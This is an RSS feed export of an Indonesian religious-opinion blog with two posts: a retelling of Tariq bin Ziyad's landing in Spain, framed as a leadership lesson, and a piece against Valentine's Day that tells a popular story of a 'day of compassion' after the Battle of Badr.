<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-2958933673326428512</atom:id><lastBuildDate>Fri, 01 Nov 2024 10:36:37 +0000</lastBuildDate><category>Makalah Filsafat</category><category>Makalah Filsafat Islam Kontemporer</category><category>kreasi</category><category>kajian Tokoh Kontemporer</category><category>Makalah Tasawuf</category><category>Opini</category><category>Makalah Tafsir</category><category>aku</category><category>historis</category><title>SLENDANGWETAN</title><description></description><link>http://slendangwetan29.blogspot.com/</link><managingEditor>noreply@blogger.com (SlendangWetan)</managingEditor><generator>Blogger</generator><openSearch:totalResults>25</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-1704430122631026264</guid><pubDate>Tue, 12 Jul 2011 01:54:00 +0000</pubDate><atom:updated>2011-07-11T18:57:26.795-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">historis</category><title>Thariq Bin Ziyad Sang Motivator Perang</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi46Sws94yTxS6XgpM1WbrSJg1kH67IdcQqP-4ZUHR5ptCzqHWCik1QHOhqHjE4g2hZ6OUfc3cm212QLPYsMbCcY0hBwjSHHGEm_NMXXw9r50wfTxRAw1CsoUoqz76tuwj88B5UDC8o2hw/s1600/IMGP3849.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 102px; height: 123px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi46Sws94yTxS6XgpM1WbrSJg1kH67IdcQqP-4ZUHR5ptCzqHWCik1QHOhqHjE4g2hZ6OUfc3cm212QLPYsMbCcY0hBwjSHHGEm_NMXXw9r50wfTxRAw1CsoUoqz76tuwj88B5UDC8o2hw/s320/IMGP3849.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5628278889878554530&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;Masa keemasan Islam antara lain ditandai dengan keberhasilan prajurit-prajurit Muslim menaklukkan wilayah Andalusia, yang kini dikenal sebagai negeri Spanyol. Berkat jasa seorang panglima gagah berani hingga Islam dapat bercokol di sana selama beberapa tahun. Nama pejuang Islam ini begitu harum. Bahkan karena keberanian dan kepahlawanannya, hingga diabadikan untuk sebuah semenanjung bukit karang setinggi 425 m di pantai tenggara Spanyol, Gibraltar atau Jabal Tariq. Nama panglima Muslim itu adalah Tariq bin Ziyad. Kisah itu begitu melegenda meski telah berlalu sekitar 1400 tahun lalu. Di sebuah tepian pantai Spanyol, seorang laki-laki gagah berteriak lantang. Suaranya menggelegar, mengalahkan deburan ombak laut.&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Senin, 3 Mei 711 M, Thariq seorang panglima pasukan muslim, dengan membawa 70.000 pasukannya menyeberang ke daratan Eropa dengan kapal. Sesampai di pantai wilayah Spanyol, ia mengumpulkan pasukannya di sebuah bukit karang yang sekarang dikenal dengan nama Gibraltar -diambil dari bahasa Arab “Jabal Thariq”, Bukit Thariq. Lalu ia memerintahkan pasukannya membakar semua armada kapal yang mereka miliki. Pasukannya kaget. Mereka bertanya, “Apa maksud Anda?” “Kalau kapal-kapal itu dibakar, bagaimana nanti kita bisa pulang?” tanya yang lain.&lt;br /&gt;Dengan pedang terhunus dan kalimat tegas, Thariq berkata, “Kita datang ke sini bukan untuk kembali. Kita hanya memiliki dua pilihan: menaklukkan negeri ini lalu tinggal di sini atau kita semua binasa!”. Lalu Thariq melanjutkan pidatonya. “Wahai seluruh pasukan, kalau sudah begini ke mana lagi kalian akan lari? Di belakang kalian ada laut dan di depan kalian ada musuh. Demi Allah swt., satu-satunya milik kalian saat ini hanyalah kejujuran dan kesabaran. Hanya itu yang dapat kalian andalkan.&lt;br /&gt;Musuh dengan jumlah pasukan yang besar dan persenjataan yang lengkap telah siap menyongsong kalian. Sementara senjata kalian hanyalah pedang. Kalian akan terbantu jika kalian berhasil merebut senjata dan perlengkapan musuh kalian. Karena itu, secepatnya kalian harus bisa melumpuhkan mereka. Sebab kalau tidak, kalian akan menemukan kesulitan besar. Itulah sebabnya kalian harus lebih dahulu menyerang mereka agar kekuatan mereka lumpuh. Dengan demikian semangat juang kita akan bangkit. Musuh kalian itu sudah bertekad bulat akan mempertahankan negeri mereka sampai titik darah penghabisan. Kenapa kita juga tidak bertekad bulan untuk menyerang mereka hingga mati syahid? Saya sama sekali tidak bermaksud menakut-nakuti kalian. Tetapi marilah kita galang rasa saling percaya di antara kita dan kita galang keberanian yang merupakan salah satu modal utama perjuangan kita. Kita harus bahu membahu.&lt;br /&gt;Sesungguhnya saya tahu kalian telah membulatkan tekad serta semangat sebagai pejuang-pejuang agama dan bangsa. Untuk itu kelak kalian akan menikmati kesenangan hidup, disamping itu kalian juga memperoleh balasan pahala yang agung dari Allah swt. Hal itu karena kalian telah mau menegakkan kalimat-Nya dan membela agama-Nya. Percayalah, sesungguhnya Allah swt. adalah penolong utama kalian. Dan sayalah orang pertama yang akan memenuhi seruan ini di hadapan kalian. Saya akan hadapi sendiri Raja Roderick yang sombong itu. Mudah-mudahan saya bisa membunuhnya. Namun, jika ada kesempatan, kalian boleh saja membunuhnya mendahului saya. Sebab dengan membunuh penguasa lalim itu, negeri ini dengan mudah kita kuasai. Saya yakin, para pasukannya akan ketakutan. Dengan demikian, negeri ini akan ada di bawah bendera Islam.”&lt;br /&gt;Kisah seorang panglima perang yang memimpin pasukannya dengan gagah perkasa. Pemimpin yang tahu akan kondisi yang dipimpinya, sehingga tidak hanya memimpin dengan model otoriter (karena kekuasaannya), tapi dimuati dengan motivasi, dorongan semangat, dan memberi sebuah pilihan yang tidak bisa di tolak oleh pasukannya, yaitu maju mengahadapi musuh yang begitu banyak dengan resiko mati syahid atau mundur menyeberangi lautan dengan cara berenang dengan resiko tenggelam dan mati konyol. Maka, lebih baik maju melawan musuh mati, namun mati syahid mendapatkan ridho-Nya, sedangkan janji Allah tentulah pasti. Allah akan member syurga yang tak pernah bisa dibayangkan oleh manusia. Atau mundur, mati, tapi mati sia-sia. Inilah sekilas cerita panglima Thariq bin Ziyad, semoga kita dapat mengambil pelajaran didalamnya ketika kita diamanahi sebagai pemimpin, baik memimpin keluarga, perusahaan, dan juga memimpin diri sendiri kita harus tahu siapa atau apa yang dialami anak buah kita/orang yang kita pimpin. Sehingga kita bisa memperlakukan mereka dengan baik dan bijak. Wallahu’alam bishawab (dari berbagai sumber)&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://slendangwetan29.blogspot.com/2011/07/thariq-bin-ziyad-sang-motivator-perang.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi46Sws94yTxS6XgpM1WbrSJg1kH67IdcQqP-4ZUHR5ptCzqHWCik1QHOhqHjE4g2hZ6OUfc3cm212QLPYsMbCcY0hBwjSHHGEm_NMXXw9r50wfTxRAw1CsoUoqz76tuwj88B5UDC8o2hw/s72-c/IMGP3849.JPG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-3555247759255637414</guid><pubDate>Wed, 10 Feb 2010 15:13:00 +0000</pubDate><atom:updated>2010-02-10T07:27:31.369-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Opini</category><title>Yaumul Marhamah (hari kasih sayang) (SlendangWetan)</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdSFFCokY5PXmkU5nfhX37w9wU0J9o_a33lUYqYfutw3S2ZUks2z4XhJxvd_rhUjeovCuUHjo0ptSX-dgAZiLg5wQLgaz9jLqUk0Xny8FsPqfW6WuPa_O99Miy26frEJNaEqNOQqPj7xo/s1600-h/c.jpeg&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 150px; height: 148px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdSFFCokY5PXmkU5nfhX37w9wU0J9o_a33lUYqYfutw3S2ZUks2z4XhJxvd_rhUjeovCuUHjo0ptSX-dgAZiLg5wQLgaz9jLqUk0Xny8FsPqfW6WuPa_O99Miy26frEJNaEqNOQqPj7xo/s320/c.jpeg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5436635943683793842&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;&lt;meta name=&quot;ProgId&quot; content=&quot;Word.Document&quot;&gt;&lt;meta name=&quot;Generator&quot; content=&quot;Microsoft Word 11&quot;&gt;&lt;meta name=&quot;Originator&quot; content=&quot;Microsoft Word 11&quot;&gt;&lt;link rel=&quot;File-List&quot; href=&quot;file:///C:%5CDOCUME%7E1%5Csurya%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C07%5Cclip_filelist.xml&quot;&gt;&lt;link rel=&quot;Edit-Time-Data&quot; href=&quot;file:///C:%5CDOCUME%7E1%5Csurya%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C07%5Cclip_editdata.mso&quot;&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt; &lt;![endif]--&gt;&lt;o:smarttagtype namespaceuri=&quot;urn:schemas-microsoft-com:office:smarttags&quot; name=&quot;country-region&quot;&gt;&lt;/o:smarttagtype&gt;&lt;o:smarttagtype namespaceuri=&quot;urn:schemas-microsoft-com:office:smarttags&quot; name=&quot;place&quot;&gt;&lt;/o:smarttagtype&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; latentstylecount=&quot;156&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if !mso]&gt;&lt;object classid=&quot;clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D&quot; id=&quot;ieooui&quot;&gt;&lt;/object&gt; &lt;style&gt; st1\:*{behavior:url(#ieooui) } &lt;/style&gt; &lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:&quot;&quot;; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-fareast-font-family:&quot;Times New Roman&quot;;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:&quot;Table Normal&quot;; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:&quot;&quot;; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:shapedefaults ext=&quot;edit&quot; spidmax=&quot;1027&quot;&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:shapelayout ext=&quot;edit&quot;&gt;   &lt;o:idmap ext=&quot;edit&quot; data=&quot;1&quot;&gt;  &lt;/o:shapelayout&gt;&lt;/xml&gt;&lt;![endif]--&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id=&quot;_x0000_t75&quot; coordsize=&quot;21600,21600&quot; spt=&quot;75&quot; preferrelative=&quot;t&quot; path=&quot;m@4@5l@4@11@9@11@9@5xe&quot; filled=&quot;f&quot; stroked=&quot;f&quot;&gt;  &lt;v:stroke joinstyle=&quot;miter&quot;&gt;  &lt;v:formulas&gt;   &lt;v:f eqn=&quot;if lineDrawn pixelLineWidth 0&quot;&gt;   &lt;v:f eqn=&quot;sum @0 1 0&quot;&gt;   &lt;v:f eqn=&quot;sum 0 0 @1&quot;&gt;   &lt;v:f eqn=&quot;prod @2 1 2&quot;&gt;   &lt;v:f eqn=&quot;prod @3 21600 pixelWidth&quot;&gt;   &lt;v:f eqn=&quot;prod @3 21600 pixelHeight&quot;&gt;   &lt;v:f eqn=&quot;sum @0 0 1&quot;&gt;   &lt;v:f eqn=&quot;prod @6 1 2&quot;&gt;   &lt;v:f eqn=&quot;prod @7 21600 pixelWidth&quot;&gt;   &lt;v:f eqn=&quot;sum @8 21600 0&quot;&gt;   &lt;v:f eqn=&quot;prod @7 21600 pixelHeight&quot;&gt;   &lt;v:f eqn=&quot;sum @10 21600 0&quot;&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok=&quot;f&quot; gradientshapeok=&quot;t&quot; connecttype=&quot;rect&quot;&gt;  &lt;o:lock ext=&quot;edit&quot; aspectratio=&quot;t&quot;&gt; &lt;/v:shapetype&gt;&lt;v:shape id=&quot;_x0000_s1026&quot; type=&quot;#_x0000_t75&quot; style=&quot;&#39;position:absolute;&quot; wrapcoords=&quot;-144 0 -144 21454 21600 21454 21600 0 -144 0&quot; allowoverlap=&quot;f&quot;&gt;  &lt;v:imagedata src=&quot;file:///C:\DOCUME~1\surya\LOCALS~1\Temp\msohtml1\07\clip_image001.png&quot; title=&quot;&quot;&gt;  &lt;w:wrap type=&quot;square&quot;&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;meta equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;&lt;meta name=&quot;ProgId&quot; content=&quot;Word.Document&quot;&gt;&lt;meta name=&quot;Generator&quot; content=&quot;Microsoft Word 11&quot;&gt;&lt;meta name=&quot;Originator&quot; content=&quot;Microsoft Word 11&quot;&gt;&lt;link rel=&quot;File-List&quot; href=&quot;file:///C:%5CDOCUME%7E1%5Csurya%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C02%5Cclip_filelist.xml&quot;&gt;&lt;link rel=&quot;Edit-Time-Data&quot; href=&quot;file:///C:%5CDOCUME%7E1%5Csurya%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C02%5Cclip_editdata.mso&quot;&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:grammarstate&gt;Clean&lt;/w:GrammarState&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; latentstylecount=&quot;156&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:&quot;&quot;; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-fareast-font-family:&quot;Times New Roman&quot;;} @page Section1 	{size:8.5in 11.0in; 	margin:337.5pt 263.25pt 337.5pt 263.25pt; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:&quot;Table Normal&quot;; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:&quot;&quot;; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:shapedefaults ext=&quot;edit&quot; spidmax=&quot;1027&quot;&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:shapelayout ext=&quot;edit&quot;&gt;   &lt;o:idmap ext=&quot;edit&quot; data=&quot;1&quot;&gt;  &lt;/o:shapelayout&gt;&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id=&quot;_x0000_t75&quot; coordsize=&quot;21600,21600&quot; spt=&quot;75&quot; preferrelative=&quot;t&quot; path=&quot;m@4@5l@4@11@9@11@9@5xe&quot; filled=&quot;f&quot; stroked=&quot;f&quot;&gt;  &lt;v:stroke joinstyle=&quot;miter&quot;&gt;  &lt;v:formulas&gt;   &lt;v:f eqn=&quot;if lineDrawn pixelLineWidth 0&quot;&gt;   &lt;v:f eqn=&quot;sum @0 1 0&quot;&gt;   &lt;v:f eqn=&quot;sum 0 0 @1&quot;&gt;   &lt;v:f eqn=&quot;prod @2 1 2&quot;&gt;   &lt;v:f eqn=&quot;prod @3 21600 pixelWidth&quot;&gt;   &lt;v:f eqn=&quot;prod @3 21600 pixelHeight&quot;&gt;   &lt;v:f eqn=&quot;sum @0 0 1&quot;&gt;   &lt;v:f eqn=&quot;prod @6 1 2&quot;&gt;   &lt;v:f eqn=&quot;prod @7 21600 pixelWidth&quot;&gt;   &lt;v:f eqn=&quot;sum @8 21600 0&quot;&gt;   &lt;v:f eqn=&quot;prod @7 21600 pixelHeight&quot;&gt;   &lt;v:f eqn=&quot;sum @10 21600 0&quot;&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok=&quot;f&quot; gradientshapeok=&quot;t&quot; connecttype=&quot;rect&quot;&gt;  &lt;o:lock ext=&quot;edit&quot; aspectratio=&quot;t&quot;&gt; &lt;/v:shapetype&gt;&lt;v:shape id=&quot;_x0000_s1026&quot; type=&quot;#_x0000_t75&quot; style=&quot;&#39;position:absolute;&quot; wrapcoords=&quot;-144 0 -144 21454 21600 21454 21600 0 -144 0&quot; allowoverlap=&quot;f&quot;&gt;  &lt;v:imagedata src=&quot;file:///C:\DOCUME~1\surya\LOCALS~1\Temp\msohtml1\02\clip_image001.png&quot; title=&quot;&quot;&gt;  &lt;w:wrap type=&quot;square&quot;&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;Sebentar lagi tanggal 14 Februari bagi mereka baik dari kalangan remaja maupun dewasa merupakan hari dan bulan yang special, karena bagi mereka bulan ini adalah bulan kasih sayang atau sering disebut &lt;i&gt;valentine&#39;s day&lt;/i&gt;. Di mana para pasangan muda-mudi saling berbagi kasih sayang (sayang &lt;i&gt;kebablasan&lt;/i&gt;), ini tidak lepas dari pengaruh budaya Barat yang membawa tradisi atau budaya baru bagi kita orang Timur yang pada dasarnya menjunjung tinggi &lt;i&gt;toto kromo&lt;/i&gt; atau sopan santun.&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;Sayangnya sikap sopan santun, menjaga etika atau yang lainnya terkait budaya orang Timur kini telah memudar seiring berkembangnya zaman. Maka dari sinilah terjadi &#39;penodaan&#39; nilai dari kasih sayang tersebut. Tidak sedikit dari mereka merayakan hari kasih sayang (&lt;i&gt;valentine&#39;s day&lt;/i&gt;) dengan berhubungan badan layaknya suami-istri (makanya banyak orang tua-tua bilang termasuk salah satu dosen saya kalu bulan februari adalah bulan hilangnya perawan-perawan. mungkin pernah kali ? he...he...) makanya banyak para ustad&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;z&lt;/span&gt; atau orang yang menjunjung tinggi nilai spiritual (Islam) melarang bahkan mengharamkannya.&lt;br /&gt;Saya kira ini juga tak lepas dari kurang pahamnya tentang hari kasih sayang yang mencontoh prilaku atau budaya Barat yang &lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;n&lt;/span&gt;gak&lt;i&gt; &lt;/i&gt;pantas dilakukan oleh masayarakat &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Indonesia&lt;/st1:place&gt;&lt;/st1:country-region&gt; yang mayoritas Islam. Padahal sebenarnya hari kasih sayang itu &lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;n&lt;/span&gt;gak hanya ada dikalangan nasrani (Barat) tapi di kalangan orang Islam juga ada, sayangnya banyak yang gak tahu k&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;h&lt;/span&gt;ususnya kalangan remaja. Ya...&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;..&lt;/span&gt;mungkin minimnya pengetahuan tentang agama salah satu faktor dari penyimpangan kiblat. Asal kalian tahu, bahwa hari kasih sayang sudah ada sejak zamannya nabi Muhammad SAW dan itu pertama kali dicontohkan oleh beliau. Gini ceritanya;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;Setelah perang badar yang mana umat Islam mengalami kemenangan, setiap musuh yang masih hidup menjadi tawanan orang muslim sedangkan harta rampasan perang (ghonimah) menjadi milik orang muslim. Pada waktu itu setelah perang Badar, para tentara dari pihak musuh yang kalah juga harta rampasan perang dikumpulkan jadi satu di lapangan.&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;Di setiap kepala sahabat dah membayangkan hasil yang akan mereka dapatkan setelah susah payah berperang dengan taruhan nyawa&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt; (meski tujuannya bukan &lt;i&gt;ghonimah&lt;/i&gt; tapi &lt;i&gt;li illahi kalimatillah&lt;/i&gt;)&lt;/span&gt;.&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;Ketika itu rasul berdiri dihadapan para tahanan perang kemudian berkata pada mereka; &quot;wahai saudaraku, hari ini adalah hari kasih sayang bukan hari pembantaian&quot; kata beliau. &lt;/span&gt;&lt;st1:place st=&quot;on&quot;&gt;Para&lt;/st1:place&gt; sahabat dan tahanan perang tercenggang mendengarkan perkataan beliau.&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;&quot;Kalian semua kami bebaskan, kembalilah kekeluarga kalian dengan damai dan ambillah harta kalian semua. Ini bukan hari pembantaian akan tetapi ini adalah &lt;i&gt;Yaumul Marhamah &lt;/i&gt;(hari kasih sayang)&quot;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;Mereka disuruh membawa semua harta dan senjata mereka bahkan kendaraan mereka dikembalikan untuk dibawa pulang. Parasahabat bingung melihat ini semua, dalam hati mereka mengerutu akan keputusan nabi. Kalau masalah mereka di lepasakan itu tidak masalah bagi para sahabat tetapi yang membuat mereka mengerutu masalah harta yang seharusnya mereka dapatkan hilang sudah, karena sudah sekian banyak harta dan tenaga bahkan nyawa mereka taruhkan akan tetapi tidak secuilpun &lt;i&gt;ghonimah&lt;/i&gt; yang mereka dapatkan&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt; sebagai gantinya&lt;/span&gt;.&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;Akhirnya ada satu sahabat yang berani memprotes keputusan nabi. &quot;Wahai ya Rasul, maaf sebelumnya. Kanapa Anda melepaskan para tawanan perang&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;,&lt;/span&gt; ditambah lagi harta yang seharusnya jadi milik kita engkau berikan kepada mereka bukan pada kami, sedangkan kami mempertaruhkan harta dan nyawa kami malah tidak mendapatkan apa-apa&quot;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;Nabi hanya tersenyum mendengar ucapan sahabat tersebut. Kemudian beliau berkata;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;&lt;span style=&quot;&quot;&gt; &lt;/span&gt;&quot;Menerut kalian apakah aku tidak mencintai kalian&quot;tanya rasul. &lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;&quot;Tidak ya rasul, engkau sangat mencintai kami semua&quot; jawab sahabat&lt;br /&gt;&quot;Terus kalian lebih memilih mana antara cintaku kepada kalian &lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;atau &lt;/span&gt;harta tersebut&quot; tanya rasul.&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;Mendengar perkataan tersebut para sahabat menangis dan memeluk nabi sambil berucap &quot;kami lebih memilih engaku ya rasul&quot;.&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-indent: 0.5in;&quot;&gt;Sejak itulah umat Islam mengenang sebuah hari kasih sayang, hari di mana terdapat sebuahn momentum cinta kasih tanpa ada pamrih, cinta yang begitu mendalam karena Allah semata. Inilah sepenggal cerita yang telah dibuktikan oleh sejarah akan kemurnian cinta yang tak merusak pencinta dan sang pecinta itu sendiri. Ingat jangan mejadi Fahri yang tak tegas menyikapi cinta&lt;span style=&quot;&quot;&gt; &lt;/span&gt;tiga wanita, jangan menjadi&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;Nurul yang terlalau merana karena cinta, jagan menjadi Maria yang rela mati karena cinta dan jangan menjadi Noura yang dia jadi gila karena cinta. Semoga kita semua bisa mengambil &lt;i&gt;ibroh&lt;/i&gt; dari cerita di at&lt;span style=&quot;&quot; lang=&quot;IN&quot;&gt;a&lt;/span&gt;s dan dapat menepatkan cinta pada tempatnya. Amin... &lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;o:p&gt; 